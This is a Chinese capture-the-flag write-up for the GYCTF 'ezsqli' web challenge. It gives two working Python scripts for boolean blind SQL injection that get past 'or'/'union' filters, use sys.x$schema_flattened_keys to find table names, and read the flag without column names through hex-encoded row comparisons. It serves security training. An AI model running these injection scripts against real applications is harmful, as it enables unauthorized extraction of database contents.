天天看點

ezsqli(GYCTF-WEB)1.知識點2.分析3.原理

1.知識點

SQL盲注:

  • 布爾盲注
  • 無列名盲注

2.分析

題目過濾了or和union,無法使用Information_Schema.Tables。

之前常用的 innodb_table_stats 和 innodb_index_stats 也無法使用。

但是我們首先需要查找flag所在的表名,這裡我們參考

Alternatives to Extract Tables and Columns from MySQL and MariaDB

文章是用sys 來查找表名的。

本題腳本我參考了穎奇L’Amore師傅和Smi1e師傅的腳本。

下面是我自己覺得可以用的腳本。

列名查找:

import requests
import string
url = "題目url"

def exp1():
    str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
    for j in range(1,40):
        for i in str1:
            paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)
            if 'Nu1L' in r.text:
                flag += i
                print(flag)
                break
if __name__ == '__main__':
    exp1()
           

flag擷取:

import requests
url = '題目url'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,50):
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = '2||((select 1,{})<(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        data = {
                'id':payload
                }
        r = requests.post(url=url, data=data)
        if 'V&N' in r.text:
            flag += chr(char-1)
            print(flag)
            break
print((flag[:-1] + chr(ord(flag[-1]) + 1)).lower())
           

3.原理

1.關于‘sys.x$schema_flattened_keys’可以直接參考MySQL和MariaDB提取表和列的方法

2.腳本進行了hex()操作,這是因為MySQL遇到hex會自動轉成字元串。

參考:

i春秋2020新春戰“疫”網絡安全公益賽GYCTF Writeup 第二天

新春戰疫公益賽-ezsqli-出題小記

繼續閱讀